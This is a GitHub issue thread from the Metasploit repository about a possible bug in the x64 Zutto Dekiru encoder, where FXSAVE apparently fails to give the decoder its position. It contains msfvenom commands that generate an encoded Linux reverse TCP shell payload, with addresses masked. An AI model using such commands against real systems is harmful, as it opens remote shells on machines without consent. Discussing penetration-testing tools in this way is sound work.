metasploit-framework
metasploit-framework copied to clipboard
rapid7
Is there an error with Zutto Dekiru encoder?
Summary
I tried to use Zutto Dekiru encoder (x64), but it seems not to work correctly because the FXSAVE/FXSAVE64 doesn't save the FPU environnment as well as FNSTENV does on Shikata Ga Nai encoder (x86), so the POP instruction doesn't get a relative address to the shellcode's position leading to an access denied when XOR with the key.
Relevant information
The command used to generate the payload is:
msfvenom -p linux/x64/shell/reverse_tcp -a x64 --platform linux -e x64/zutto_dekiru -f elf -o t.binLHOST=xxx.xxx.xxx.xxx LPORT=xxxx
The permission of the section is RWX, so the error is not from here.
msfvenom -p linux/x64/shell/reverse_tcp -a x64 --platform linux -e x64/zutto_dekiru -f elf -o t.binLHOST=xxx.xxx.xxx.xxx LPORT=xxxx <- Is this the command you ran? Looks like your missing a space between the options and -o t.bin.
Hi!
This issue has been left open with no activity for a while now.
We get a lot of issues, so we currently close issues after 60 days of inactivity. It’s been at least 30 days since the last update here. If we missed this issue or if you want to keep it open, please reply here. You can also add the label "not stale" to keep this issue open!
As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.
![github-actions[bot] avatar](https://avatars.githubusercontent.com/in/15368?v=4 "Published by a pub.dev verified publisher"){kind=small}
@shellchocolat Were you able to get this to work using the command msfvenom -p linux/x64/shell/reverse_tcp -a x64 --platform linux -e x64/zutto_dekiru -f elf -o t.bin LHOST=xxx.xxx.xxx.xxx LPORT=xxxx?
Hi!
This issue has been left open with no activity for a while now.
We get a lot of issues, so we currently close issues after 60 days of inactivity. It’s been at least 30 days since the last update here. If we missed this issue or if you want to keep it open, please reply here. You can also add the label "not stale" to keep this issue open!
As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.